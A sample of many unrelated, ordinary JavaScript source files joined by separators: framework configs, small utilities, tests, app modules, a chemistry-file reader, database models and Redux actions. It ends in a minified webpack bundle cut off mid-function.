// Select the size (available size: 16, 24, 32, 64)
size: 64,
// Add custom styles
styles: {
display: 'inline',
margin: '0',
'margin-top': '1px',
position: 'relative',
top: '5px',
width: '25px',
},
},
},
],
},
},
{
resolve: `gatsby-plugin-google-analytics`,
options: {
trackingId: process.env.GOOGLE_ANALYTICS_ID,
},
},
],
};
|
/// Copyright (c) 2012 Ecma International. All rights reserved.
/**
* @path ch15/15.4/15.4.4/15.4.4.14/15.4.4.14-3-10.js
* @description Array.prototype.indexOf - value of 'length' is number primitive (value is NaN)
*/
function testcase() {
var obj = { 0: 0, length: NaN };
return Array.prototype.indexOf.call(obj, 0) === -1;
}
runTestCase(testcase);
|
const parseUrl = (url) => {
let str = ''
for (let i = 0; i < url.length; i++) {
const c = url.charAt(i)
if (c === ':') {
let param = ''
for (let j = i + 1; j < url.length; j++) {
if (/\w/.test(url.charAt(j))) {
param += url.charAt(j)
} else {
break
}
}
str += `(?<${param}>\\w+)`
i = j - 1
} else {
str += c
}
}
return str
}
module.exports = parseUrl
|
define(function (require, exports, module) {
var c = {};
c.uri = "http://192.168.1.34:8911/web/jf/web/";
// c.uri = "http://192.168.1.77:22222/mockjsdata/5/jf/web/";
c.reg = {};
c.reg.mobile = /^1[3578]\d{9}$/;
c.reg.pwd = /^\w{6,16}$/;
c.reg.captcha = /^\d{6}$/;
c.reg.reward_rmb = /^[1-9]\d{2,}$/;
c.reg.real_name = /^([\u4e00-\u9fa5]{2,4})$/;
c.reg.id_card = /^(([1-9]\d{7}((0\d)|(1[0-2]))(([0|1|2]\d)|3[0-1])\d{3})|([1-9]\d{5}[1-9]\d{3}((0\d)|(1[0-2]))(([0|1|2]\d)|3[0-1])\d{3}([0-9]|X)))$/
c.reg.vacode = /^[0-9a-zA-Z]{16}$/;
c.http = {};
c.http.ok = 200;
c.http.signin_timeout = 507;
module.exports = c;
});
|
/*
Cho object obj, hãy tạo một array chứa key của tất cả các property của obj và đều viết hoa
có sử dụng Object.key()
có sử dụng các method của array
Có sử dụng toUpperCase()
*/
let obj = {
b: 2,
a: 1,
c: 3,
};
// TODO
//?? OUTPUT is [B, A, C]
const keys = Object.keys(obj);
let a =[];
for (let i in keys) {
a.push(keys[i].toUpperCase());
};
console.log(a)
|
angular.module('app', [
'ngRoute',
'projectsinfo',
'dashboard',
'projects',
'admin',
'services.breadcrumbs',
'services.i18nNotifications',
'services.httpRequestTracker',
'security',
'directives.crud',
'templates.app',
'templates.common']);
angular.module('app').constant('MONGOLAB_CONFIG', {
baseUrl: '/databases/',
dbName: 'angular-app-jgs'
});
//TODO: move those messages to a separate module
angular.module('app').constant('I18N.MESSAGES', {
'errors.route.changeError':'Route change error',
'crud.user.save.success':"A user with id '{{id}}' was saved successfully.",
'crud.user.remove.success':"A user with id '{{id}}' was removed successfully.",
'crud.user.remove.error':"Something went wrong when removing user with id '{{id}}'.",
'crud.user.save.error':"Something went wrong when saving a user...",
'crud.project.save.success':"A project with id '{{id}}' was saved successfully.",
'crud.project.remove.success':"A project with id '{{id}}' was removed successfully.",
'crud.project.save.error':"Something went wrong when saving a project...",
'login.reason.notAuthorized':"You do not have the necessary access permissions. Do you want to login as someone else?",
'login.reason.notAuthenticated':"You must be logged in to access this part of the application.",
'login.error.invalidCredentials': "Login failed. Please check your credentials and try again.",
'login.error.serverError': "There was a problem with authenticating: {{exception}}."
});
angular.module('app').config(['$routeProvider', '$locationProvider', function ($routeProvider, $locationProvider) {
$locationProvider.html5Mode(true);
$routeProvider.otherwise({redirectTo:'/projectsinfo'});
}]);
angular.module('app').run(['security', function(security) {
// Get the current user when the application starts
// (in case they are still logged in from a previous session)
security.requestCurrentUser();
}]);
angular.module('app').controller('AppCtrl', ['$scope', 'i18nNotifications', 'localizedMessages', function($scope, i18nNotifications) {
$scope.notifications = i18nNotifications;
$scope.removeNotification = function (notification) {
i18nNotifications.remove(notification);
};
$scope.$on('$routeChangeError', function(event, current, previous, rejection){
i18nNotifications.pushForCurrentRoute('errors.route.changeError', 'error', {}, {rejection: rejection});
});
}]);
angular.module('app').controller('HeaderCtrl', ['$scope', '$location', '$route', 'security', 'breadcrumbs', 'notifications', 'httpRequestTracker',
function ($scope, $location, $route, security, breadcrumbs, notifications, httpRequestTracker) {
$scope.location = $location;
$scope.breadcrumbs = breadcrumbs;
$scope.isAuthenticated = security.isAuthenticated;
$scope.isAdmin = security.isAdmin;
$scope.home = function () {
if (security.isAuthenticated()) {
$location.path('/dashboard');
} else {
$location.path('/projectsinfo');
}
};
$scope.isNavbarActive = function (navBarPath) {
return navBarPath === breadcrumbs.getFirst().name;
};
$scope.hasPendingRequests = function () {
return httpRequestTracker.hasPendingRequests();
};
}]);
|
Clazz.declarePackage ("J.adapter.readers.quantum");
Clazz.load (["J.adapter.readers.quantum.MOReader", "$.BasisFunctionReader"], "J.adapter.readers.quantum.QchemReader", ["java.lang.Float", "java.util.Hashtable", "JU.AU", "$.Lst", "$.PT", "J.api.JmolAdapter", "J.quantum.QS", "JU.Logger"], function () {
c$ = Clazz.decorateAsClass (function () {
this.calculationNumber = 1;
this.alphas = null;
this.betas = null;
this.nBasis = 0;
this.dFixed = false;
this.fFixed = false;
this.dList = "";
this.fList = "";
this.dSpherical = false;
this.fSpherical = false;
if (!Clazz.isClassDefined ("J.adapter.readers.quantum.QchemReader.MOInfo")) {
J.adapter.readers.quantum.QchemReader.$QchemReader$MOInfo$ ();
}
Clazz.instantialize (this, arguments);
}, J.adapter.readers.quantum, "QchemReader", J.adapter.readers.quantum.MOReader);
Clazz.overrideMethod (c$, "initializeReader",
function () {
this.energyUnits = "au";
});
Clazz.overrideMethod (c$, "checkLine",
function () {
if (this.line.indexOf ("Standard Nuclear Orientation") >= 0) {
this.readAtoms ();
this.moData = null;
return true;
}if (this.line.indexOf ("Requested basis set is") >= 0) {
this.readCalculationType ();
return true;
}if (this.line.indexOf ("VIBRATIONAL FREQUENCIES") >= 0) {
this.readFrequencies ();
return true;
}if (this.line.indexOf ("Mulliken Net Atomic Charges") >= 0) {
this.readPartialCharges ();
return true;
}if (this.line.startsWith ("Job ")) {
this.calculationNumber++;
this.moData = null;
return true;
}if (this.line.indexOf ("Basis set in general basis input format") >= 0) {
if (this.moData == null) {
this.readBasis ();
}return true;
}if (this.moData == null) return true;
if (this.line.indexOf ("Orbital Energies (a.u.) and Symmetries") >= 0) {
this.readESym (true);
return true;
}if (this.line.indexOf ("Orbital Energies (a.u.)") >= 0) {
this.readESym (false);
return true;
}if (this.line.indexOf ("MOLECULAR ORBITAL COEFFICIENTS") >= 0) {
if (this.filterMO ()) this.readQchemMolecularOrbitals ();
return true;
}return this.checkNboLine ();
});
Clazz.defineMethod (c$, "readCalculationType",
function () {
this.calculationType = this.line.substring (this.line.indexOf ("set is") + 6).trim ();
});
Clazz.defineMethod (c$, "readAtoms",
function () {
this.asc.newAtomSet ();
this.setMOData (true);
this.readLines (2);
var tokens;
while (this.rd () != null && !this.line.startsWith (" --")) {
tokens = this.getTokens ();
if (tokens.length < 5) continue;
var symbol = tokens[1];
if (J.api.JmolAdapter.getElementNumber (symbol) > 0) this.addAtomXYZSymName (tokens, 2, symbol, null);
}
this.asc.setAtomSetModelProperty (".PATH", "Calculation " + this.calculationNumber);
});
Clazz.defineMethod (c$, "readFrequencies",
function () {
while (this.rd () != null && this.line.indexOf ("STANDARD") < 0) {
if (!this.line.startsWith (" Frequency:")) this.discardLinesUntilStartsWith (" Frequency:");
var frequencies = this.getTokens ();
var frequencyCount = frequencies.length - 1;
var ignore = Clazz.newBooleanArray (frequencyCount, false);
var ac = this.asc.getLastAtomSetAtomCount ();
var iAtom0 = this.asc.ac;
for (var i = 0; i < frequencyCount; ++i) {
ignore[i] = !this.doGetVibration (++this.vibrationNumber);
if (ignore[i]) continue;
this.asc.cloneLastAtomSet ();
this.asc.setAtomSetFrequency ("Calculation " + this.calculationNumber, null, frequencies[i + 1], null);
}
this.discardLinesUntilStartsWith (" X");
this.fillFrequencyData (iAtom0, ac, ac, ignore, true, 0, 0, null, 0);
this.discardLinesUntilBlank ();
}
});
Clazz.defineMethod (c$, "readPartialCharges",
function () {
this.readLines (3);
var atoms = this.asc.atoms;
var ac = this.asc.getLastAtomSetAtomCount ();
for (var i = 0; i < ac && this.rd () != null; ++i) atoms[i].partialCharge = this.parseFloatStr (this.getTokens ()[2]);
});
Clazz.defineMethod (c$, "readBasis",
function () {
this.moData = new java.util.Hashtable ();
var ac = 0;
var shellCount = 0;
var gaussianCount = 0;
this.shells = new JU.Lst ();
var gdata = new JU.Lst ();
var tokens;
this.discardLinesUntilStartsWith ("$basis");
this.rd ();
while (this.rd () != null) {
if (this.line.startsWith ("****")) {
ac++;
if (this.rd () != null && this.line.startsWith ("$end")) break;
continue;
}shellCount++;
var slater = Clazz.newIntArray (4, 0);
tokens = this.getTokens ();
slater[0] = ac;
slater[1] = J.adapter.readers.quantum.BasisFunctionReader.getQuantumShellTagID (tokens[0]);
slater[2] = gaussianCount;
var nGaussians = this.parseIntStr (tokens[1]);
slater[3] = nGaussians;
this.shells.addLast (slater);
gaussianCount += nGaussians;
for (var i = 0; i < nGaussians; i++) {
gdata.addLast (JU.PT.getTokens (this.rd ()));
}
}
this.gaussians = JU.AU.newFloat2 (gaussianCount);
for (var i = 0; i < gaussianCount; i++) {
tokens = gdata.get (i);
this.gaussians[i] = Clazz.newFloatArray (tokens.length, 0);
for (var j = 0; j < tokens.length; j++) this.gaussians[i][j] = this.parseFloatStr (tokens[j]);
}
if (this.debugging) {
JU.Logger.debug (shellCount + " slater shells read");
JU.Logger.debug (gaussianCount + " gaussian primitives read");
}this.discardLinesUntilStartsWith (" There are");
tokens = this.getTokens ();
this.nBasis = this.parseIntStr (tokens[5]);
});
Clazz.defineMethod (c$, "readESym",
function (haveSym) {
this.alphas = new Array (this.nBasis);
this.betas = new Array (this.nBasis);
var moInfos;
var ne = 0;
var readBetas = false;
this.discardLinesUntilStartsWith (" Alpha");
var tokens = this.getTokens ();
moInfos = this.alphas;
for (var e = 0; e < 2; e++) {
var nMO = 0;
while (this.rd () != null) {
if (this.line.startsWith (" -- ")) {
ne = 0;
if (this.line.indexOf ("Vacant") < 0) {
if (this.line.indexOf ("Occupied") > 0) ne = 1;
}this.rd ();
}if (this.line.startsWith (" -------")) {
e = 2;
break;
}var nOrbs = this.getTokens ().length;
if (nOrbs == 0 || this.line.startsWith (" Warning")) {
this.discardLinesUntilStartsWith (" Beta");
readBetas = true;
moInfos = this.betas;
break;
}if (haveSym) tokens = JU.PT.getTokens (this.rd ());
for (var i = 0, j = 0; i < nOrbs; i++, j += 2) {
var info = Clazz.innerTypeInstance (J.adapter.readers.quantum.QchemReader.MOInfo, this, null);
info.ne = ne;
if (haveSym) info.moSymmetry = tokens[j] + tokens[j + 1] + " ";
moInfos[nMO] = info;
nMO++;
}
}
}
if (!readBetas) this.betas = this.alphas;
}, "~B");
Clazz.defineMethod (c$, "readQchemMolecularOrbitals",
function () {
var orbitalType = this.getTokens ()[0];
this.alphaBeta = (orbitalType.equals ("RESTRICTTED") ? "" : "A");
this.readMOs (orbitalType.equals ("RESTRICTED"), this.alphas);
if (orbitalType.equals ("ALPHA")) {
this.discardLinesUntilContains ("BETA");
this.alphaBeta = "B";
this.readMOs (false, this.betas);
}var isOK = true;
if (this.dList.length > 0) {
if (this.dSpherical) isOK = this.getDFMap (this.dList, 3, J.adapter.readers.quantum.QchemReader.$DS_LIST, 2);
else isOK = this.getDFMap (this.dList, 4, J.adapter.readers.quantum.QchemReader.$DC_LIST, 3);
if (!isOK) {
JU.Logger.error ("atomic orbital order is unrecognized -- skipping reading of MOs. dList=" + this.dList);
this.shells = null;
}}if (this.fList.length > 0) {
if (this.fSpherical) isOK = this.getDFMap (this.fList, 5, J.adapter.readers.quantum.QchemReader.$FS_LIST, 2);
else isOK = this.getDFMap (this.fList, 6, J.adapter.readers.quantum.QchemReader.$FC_LIST, 3);
if (!isOK) {
JU.Logger.error ("atomic orbital order is unrecognized -- skipping reading of MOs. fList=" + this.fList);
this.shells = null;
}}this.setMOData (this.shells == null);
this.shells = null;
});
Clazz.defineMethod (c$, "readMOs",
function (restricted, moInfos) {
var mos = JU.AU.createArrayOfHashtable (6);
var mocoef = JU.AU.newFloat2 (6);
var moid = Clazz.newIntArray (6, 0);
var tokens;
var energy;
var nMOs = 0;
while (this.rd ().length > 2) {
tokens = this.getTokens ();
var nMO = tokens.length;
energy = JU.PT.getTokens (this.rd ().substring (13));
for (var i = 0; i < nMO; i++) {
moid[i] = this.parseIntStr (tokens[i]) - 1;
mocoef[i] = Clazz.newFloatArray (this.nBasis, 0);
mos[i] = new java.util.Hashtable ();
}
for (var i = 0, pt = 0; i < this.nBasis; i++) {
tokens = JU.PT.getTokens (this.rd ());
var s = this.line.substring (12, 17).trim ();
var ch = s.charAt (0);
switch (ch) {
case 'd':
s = s.substring (s.length - 3).toUpperCase ();
if (s.startsWith ("D ")) {
if (!this.dFixed) this.fixSlaterTypes (4, 3);
s = "D" + s.charAt (2);
this.dSpherical = true;
}if (this.dList.indexOf (s) < 0) this.dList += s + " ";
this.dFixed = true;
break;
case 'f':
s = s.substring (s.length - 3).toUpperCase ();
if (s.startsWith ("F ")) {
if (!this.fFixed) this.fixSlaterTypes (6, 5);
s = "F" + s.charAt (2);
this.fSpherical = true;
}if (this.fList.indexOf (s) < 0) this.fList += s + " ";
this.fFixed = true;
break;
default:
if (!J.quantum.QS.isQuantumBasisSupported (ch)) continue;
break;
}
for (var j = tokens.length - nMO, k = 0; k < nMO; j++, k++) mocoef[k][pt] = this.parseFloatStr (tokens[j]);
pt++;
}
for (var i = 0; i < nMO; i++) {
var moInfo = moInfos[moid[i]];
mos[i].put ("energy", Float.$valueOf (JU.PT.fVal (energy[i])));
mos[i].put ("coefficients", mocoef[i]);
var label = this.alphaBeta;
var ne = moInfo.ne;
if (restricted) ne = this.alphas[moid[i]].ne + this.betas[moid[i]].ne;
mos[i].put ("occupancy", Float.$valueOf (ne));
switch (ne) {
case 2:
label = "AB";
break;
case 1:
break;
case 0:
if (restricted) label = "V";
else label = "V" + label;
break;
}
mos[i].put ("symmetry", moInfo.moSymmetry + label + "(" + (moid[i] + 1) + ")");
this.orbitals.addLast (mos[i]);
}
nMOs += nMO;
}
return nMOs;
}, "~B,~A");
c$.$QchemReader$MOInfo$ = function () {
Clazz.pu$h(self.c$);
c$ = Clazz.decorateAsClass (function () {
Clazz.prepareCallback (this, arguments);
this.ne = 0;
this.moSymmetry = "";
Clazz.instantialize (this, arguments);
}, J.adapter.readers.quantum.QchemReader, "MOInfo");
c$ = Clazz.p0p ();
};
c$.$DC_LIST = c$.prototype.$DC_LIST = J.adapter.readers.quantum.BasisFunctionReader.CANONICAL_DC_LIST;
Clazz.defineStatics (c$,
"$DS_LIST", "D3 D4 D2 D5 D1");
c$.$FC_LIST = c$.prototype.$FC_LIST = J.adapter.readers.quantum.BasisFunctionReader.CANONICAL_FC_LIST;
Clazz.defineStatics (c$,
"$FS_LIST", "F4 F5 F3 F6 F2 F7 F1");
});
|
process.env.VUE_ENV = 'server'
import webpack from 'webpack'
import base from './client'
import { loaders } from './share'
const serverModuleLoaders = Array.from(base.module.loaders)
const cssLoaderIdx = base.module.loaders.indexOf(loaders.css)
serverModuleLoaders.splice(cssLoaderIdx, 1)
const serverConfig = {
...base,
target: 'node',
devtool: false,
entry: './src/server/entry',
output: {
...base.output,
libraryTarget: 'commonjs2',
filename: 'app.server.js'
},
externals: base.entry.lib,
plugins: [
new webpack.DefinePlugin({
'process.env': {
NODE_ENV: JSON.stringify(process.env.NODE_ENV || 'development'),
VUE_ENV: JSON.stringify('server')
},
})
],
module: {
rules: [...serverModuleLoaders, {
...loaders.css,
use: ['isomorphic-style', ...loaders.css.use.slice(1)],
}]
}
}
module.exports = serverConfig
|
import PublicationUtils from 'meteor/utilities:smart-publications';
import Users from 'meteor/nova:users';
import Folders from "./collection.js";
Users.addField([
/**
Count of the user's Folders
*/
{
fieldName: "telescope.folderCount",
fieldSchema: {
type: Number,
optional: true,
publish: true,
defaultValue: 0
}
},
/**
An array containing the `_id`s of folders
*/
{
fieldName: "telescope.folders",
fieldSchema: {
type: [String],
optional: true,
publish: true,
join: {
joinAs: "foldersArray",
collection: () => Folders
}
}
}
]);
PublicationUtils.addToFields(Users.publishedFields.list, ["telescope.folderCount", "telescope.folders"]);
|
import { Viajes } from '../Models/Viajes.js'
import { Testimoniales } from '../Models/testimoniales.js'
const paginaInicio = async (req, res) => {
//Consideraciones de conceptos. Para mejora de performance, es recomendable que ambas consultas se hagan al mismo tiempo. Por talmotivo se crea un objeto de Promise donde se agregan ambas consultas y se ejecutan al mismo tiempo en una unica acción. Eso hace que la vista sea renderizada con otdas las informaciones
const promiseDB = [];
promiseDB.push( Viajes.findAll( {limit: 3}));
promiseDB.push( Testimoniales.findAll( {limit: 3 }));
//Consultar 3 viajes del modelo viaje
try {
const resultado = await Promise.all( promiseDB );
res.render('inicio', {
pagina: 'inicio',
clase: 'home',
viajes: resultado[0],
testimonios: resultado[1]
})
} catch(error) {
console.log(error)
}
};
const paginaNosotros = (req, res) => {
res.render('nosotros', {
pagina: 'Nosotros'
}
)};
const paginaTestimoniales = async (req, res) => {
try {
const testimonios = await Testimoniales.findAll();
res.render('testimoniales', {
pagina: 'Testimoniales',
testimonios
})
}catch(error) {
console.log(error);
}
};
const paginaViajes = async (req, res) => {
//Consultar BD
const viajes = await Viajes.findAll();
console.log(viajes);
res.render('viajes', {
pagina: 'Viajes',
viajes
})
};
//Muestra un viaje por su slug
const paginaDetalleViaje = async (req, res) => {
const { viaje } = req.params;
try {
const resultado = await Viajes.findOne( {where: { slug: viaje }});
res.render('viaje', {
pagina: 'Informacion Viaje',
resultado
})
} catch(error) {
console.log(error);
}
}
export {
paginaInicio,
paginaNosotros,
paginaTestimoniales,
paginaViajes,
paginaDetalleViaje
}
|
/**
* @license Apache-2.0
*
* Copyright (c) 2020 The Stdlib Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
'use strict';
// MODULES //
var addon = require( './../src/addon.node' );
// MAIN //
/**
* Computes the sum of single-precision floating-point strided array elements using extended accumulation.
*
* @param {PositiveInteger} N - number of indexed elements
* @param {Float32Array} x - input array
* @param {integer} stride - stride length
* @returns {number} sum
*
* @example
* var Float32Array = require( '@stdlib/array/float32' );
*
* var x = new Float32Array( [ 1.0, -2.0, 2.0 ] );
* var N = x.length;
*
* var v = sdssum( N, x, 1 );
* // returns 1.0
*/
function sdssum( N, x, stride ) {
return addon( N, x, stride );
}
// EXPORTS //
module.exports = sdssum;
|
import { QUEST_REGIONS } from 'constants/dailies';
import calendar from 'initialStates/calendar';
import dailies from 'initialStates/dailies';
import proficiencies from 'initialStates/proficiencies';
import { getItem } from 'utils/localStorage';
export default {
characters: [],
residence: [],
castles: [],
proficiencies: { 0: getItem('proficiencies', proficiencies) },
server: null,
region: getItem('calendar', calendar).region,
publisher: getItem('dailies', dailies).region || Object.keys(QUEST_REGIONS)[0],
faction: getItem('dailies', dailies).faction,
};
|
import React from 'react-native';
import {connect} from 'react-redux/native';
import createAll from './createAll';
export const {
actionTypes,
addArrayValue,
autofill,
autofillWithKey,
blur,
change,
changeWithKey,
destroy,
focus,
reducer,
reduxForm,
getValues,
initialize,
initializeWithKey,
propTypes,
removeArrayValue,
reset,
startAsyncValidation,
startSubmit,
stopAsyncValidation,
stopSubmit,
swapArrayValues,
touch,
touchWithKey,
untouch,
untouchWithKey
} = createAll(true, React, connect);
|
/**
* EmailSendsController
*
* @description :: Server-side logic for managing emailsends
* @help :: See http://links.sailsjs.org/docs/controllers
*/
module.exports = {
};
|
/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is JavaScript Engine testing utilities.
*
* The Initial Developer of the Original Code is
* Mozilla Foundation.
* Portions created by the Initial Developer are Copyright (C) 2005
* the Initial Developer. All Rights Reserved.
*
* Contributor(s): Brendan Eich
*
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
*
* ***** END LICENSE BLOCK ***** */
var summary = "11.1.4 - XML Initializer - Comment hiding parsing/scanning";
var BUGNUMBER = 311157;
var actual;
var expect;
printBugNumber(BUGNUMBER);
START(summary);
XML.ignoreWhitespace = false;
var x = <bye> <![CDATA[ duh ]]>
there </bye>;
actual = x.toString();
expect = ' duh \n there ';
TEST(1, expect, actual);
END();
|
const mongoose = require('mongoose')
const schema = new mongoose.Schema({
_id: String,
patron: Boolean,
webhook: Boolean,
maxGuilds: Number,
maxFeeds: Number,
guilds: [String],
expireAt: Date,
comment: String,
slowRate: Boolean
})
exports.schema = schema
exports.model = mongoose.model('Supporter', schema)
|
'use strict'
const TrackList = require('./abstract-track-list')
const { tracksModel } = require('./tracks')
const { uniqRef, parseRawRef } = require('../utils')
/**
* @class ArtistsModel
* Manager for Artist models. The seached column is name.
* Has references to albums.
*
* Model properties:
* - {number} id - primary key (integer)
* - {string} name - artist's name
* - {object|null} bio - artist's bio (each key is a language code)
* - {string|null} media - full path to the artwork file for this artist
* - {array<number>} trackIds - ids of the artist's tracks
* - {array<Reference>} refs - references to the artist's albums
* - {number|null} processedEpoch - epoch of the last automatic media retrieval
*/
class ArtistsModel extends TrackList {
constructor() {
super({ name: 'artists', searchCol: 'name', jsonColumns: ['bio'] })
}
/**
* Computes references to albums from the contained tracks.
* @async
* @param {Transaction} trx - the Knex transation
* @returns {array<Reference>} a list (possibly empty) of album references
*/
async computeRefs(trx, trackIds) {
const refs = await trx(tracksModel.name)
.whereIn('id', trackIds)
.select('albumRef')
return uniqRef(
refs.reduce((all, { albumRef }) => [...all, parseRawRef(albumRef)], [])
)
}
}
exports.artistsModel = new ArtistsModel()
|
import * as types from '../constants/ActionTypes';
export const load = () => ({ type: types.LOAD });
export const login = () => ({ type: types.LOGIN });
export const loginSuccess = () => ({
type: types.LOGIN_SUCCESS
});
export const loginFailure = refresh_token => ({
type: types.LOGIN_FAILURE,
refresh_token
});
export const updateToken = refreshToken => ({
type: types.UPDATE_TOKEN,
refreshToken
});
export const updateTokenSuccess = access_token => ({
type: types.UPDATE_TOKEN_SUCCESS,
access_token
});
export const updateCurrentUser = user => ({
type: types.UPDATE_CURRENT_USER,
user
});
|
(window.webpackJsonp=window.webpackJsonp||[]).push([[1],{"1vt9":function(e,t){var n=Object.prototype.hasOwnProperty,r=Object.prototype.toString;e.exports=function(e,t,o){if("[object Function]"!==r.call(t))throw new TypeError("iterator must be a function");var i=e.length;if(i===+i)for(var s=0;s<i;s++)t.call(o,e[s],s,e);else for(var a in e)n.call(e,a)&&t.call(o,e[a],a,e)}},"3Oog":function(e,t,n){var r;function o(e){function n(){if(n.enabled){var e=n,o=+new Date,i=o-(r||o);e.diff=i,e.prev=r,e.curr=o,r=o;for(var s=new Array(arguments.length),a=0;a<s.length;a++)s[a]=arguments[a];s[0]=t.coerce(s[0]),"string"!=typeof s[0]&&s.unshift("%O");var c=0;s[0]=s[0].replace(/%([a-zA-Z%])/g,(function(n,r){if("%%"===n)return n;c++;var o=t.formatters[r];if("function"==typeof o){var i=s[c];n=o.call(e,i),s.splice(c,1),c--}return n})),t.formatArgs.call(e,s);var u=n.log||t.log||console.log.bind(console);u.apply(e,s)}}return n.namespace=e,n.enabled=t.enabled(e),n.useColors=t.useColors(),n.color=function(e){var n,r=0;for(n in e)r=(r<<5)-r+e.charCodeAt(n),r|=0;return t.colors[Math.abs(r)%t.colors.length]}(e),"function"==typeof t.init&&t.init(n),n}(t=e.exports=o.debug=o.default=o).coerce=function(e){return e instanceof Error?e.stack||e.message:e},t.disable=function(){t.enable("")},t.enable=function(e){t.save(e),t.names=[],t.skips=[];for(var n=("string"==typeof e?e:"").split(/[\s,]+/),r=n.length,o=0;o<r;o++)n[o]&&("-"===(e=n[o].replace(/\*/g,".*?"))[0]?t.skips.push(new RegExp("^"+e.substr(1)+"$")):t.names.push(new RegExp("^"+e+"$")))},t.enabled=function(e){var n,r;for(n=0,r=t.skips.length;n<r;n++)if(t.skips[n].test(e))return!1;for(n=0,r=t.names.length;n<r;n++)if(t.names[n].test(e))return!0;return!1},t.humanize=n("BISC"),t.names=[],t.skips=[],t.formatters={}},"3rmo":function(e,t,n){"use strict";e.exports="3.35.1"},"4T2t":function(e,t,n){(function(t){var r,o=n("XeMy")("algoliasearch:src/hostIndexState.js"),i={state:{},set:function(e,t){return this.state[e]=t,this.state[e]},get:function(e){return this.state[e]||null}},s={set:function(e,n){i.set(e,n);try{var r=JSON.parse(t.localStorage["algoliasearch-client-js"]);return r[e]=n,t.localStorage["algoliasearch-client-js"]=JSON.stringify(r),r[e]}catch(o){return a(e,o)}},get:function(e){try{return JSON.parse(t.localStorage["algoliasearch-client-js"])[e]||null}catch(n){return a(e,n)}}};function a(e,n){return o("localStorage failed with",n),function(){try{t.localStorage.removeItem("algoliasearch-client-js")}catch(e){}}(),(r=i).get(e)}function c(e,t){return 1===arguments.length?r.get(e):r.set(e,t)}function u(){try{return"localStorage"in t&&null!==t.localStorage&&(t.localStorage["algoliasearch-client-js"]||t.localStorage.setItem("algoliasearch-client-js",JSON.stringify({})),!0)}catch(e){return!1}}r=u()?s:i,e.exports={get:c,set:c,supportsLocalStorage:u}}).call(this,n("fRV1"))},"5RP8":function(e,t,n){"use strict";n.d(t,"a",(function(){return h}));var r=n("teAW"),o=n("l1C2"),i=n("ERkP"),s=n.n(i),a=n("aWzz"),c=n.n(a);function u(e){var t=e.children,n=e.as,o=void 0===n?"h1":n,i=Object(r.d)(e,["children","as"]);return s.a.createElement(o,i,t)}u.propTypes={as:c.a.oneOf(["h1","h2","h3","h4","h5","h6","span"])},u.__docgenInfo={description:"",methods:[],displayName:"BaseHeading",props:{as:{required:!1,tsType:{name:"union",raw:'"h1" | "h2" | "h3" | "h4" | "h5" | "h6" | "span"',elements:[{name:"literal",value:'"h1"'},{name:"literal",value:'"h2"'},{name:"literal",value:'"h3"'},{name:"literal",value:'"h4"'},{name:"literal",value:'"h5"'},{name:"literal",value:'"h6"'},{name:"literal",value:'"span"'}]},description:""}}},"undefined"!=typeof STORYBOOK_REACT_CLASSES&&(STORYBOOK_REACT_CLASSES["src/components/BaseHeading/BaseHeading.tsx"]={name:"BaseHeading",docgenInfo:u.__docgenInfo,path:"src/components/BaseHeading/BaseHeading.tsx"});var l=n("TDXc"),p=function(e){return{fontFamily:e.fonts.heading,margin:0,lineHeight:e.lineHeights.heading}},d=function(e,t){return function(n){return[{color:n.tones[t].text},"PRIMARY"===e&&{fontWeight:n.fontWeights.bold},"EMPHASIZED"===e&&{fontWeight:n.fontWeights.extraBold},"LIGHT"===e&&{fontWeight:100,textTransform:"uppercase"}]}};function h(e){var t=e.tone,n=void 0===t?"NEUTRAL":t,i=e.variant,s=void 0===i?"PRIMARY":i,a=e.as,c=void 0===a?"h2":a,h=e.customCss,f=Object(r.d)(e,["tone","variant","as","customCss"]);return Object(l.a)(h),Object(o.jsx)(u,Object(r.b)({as:c,css:function(e){return[p(e),d(s,n)(e),h]}},f))}h.__docgenInfo={description:"",methods:[],displayName:"Heading",props:{tone:{defaultValue:{value:"`NEUTRAL`",computed:!1},required:!1,tsType:{name:"HeadingTone"},description:""},variant:{defaultValue:{value:"`PRIMARY`",computed:!1},required:!1,tsType:{name:"HeadingVariant"},description:""},as:{defaultValue:{value:"`h2`",computed:!1},required:!1},customCss:{required:!1,tsType:{name:"Interpolation"},description:""}}},"undefined"!=typeof STORYBOOK_REACT_CLASSES&&(STORYBOOK_REACT_CLASSES["src/components/Heading/Heading.tsx"]={name:"Heading",docgenInfo:h.__docgenInfo,path:"src/components/Heading/Heading.tsx"})},"9c34":function(e,t,n){var r=n("1vt9");e.exports=function(e,t){var n=[];return r(e,(function(r,o){n.push(t(r,o,e))})),n}},BISC:function(e,t){var n=1e3,r=6e4,o=60*r,i=24*o;function s(e,t,n){if(!(e<t))return e<1.5*t?Math.floor(e/t)+" "+n:Math.ceil(e/t)+" "+n+"s"}e.exports=function(e,t){t=t||{};var a,c=typeof e;if("string"===c&&e.length>0)return function(e){if((e=String(e)).length>100)return;var t=/^((?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$/i.exec(e);if(!t)return;var s=parseFloat(t[1]);switch((t[2]||"ms").toLowerCase()){case"years":case"year":case"yrs":case"yr":case"y":return 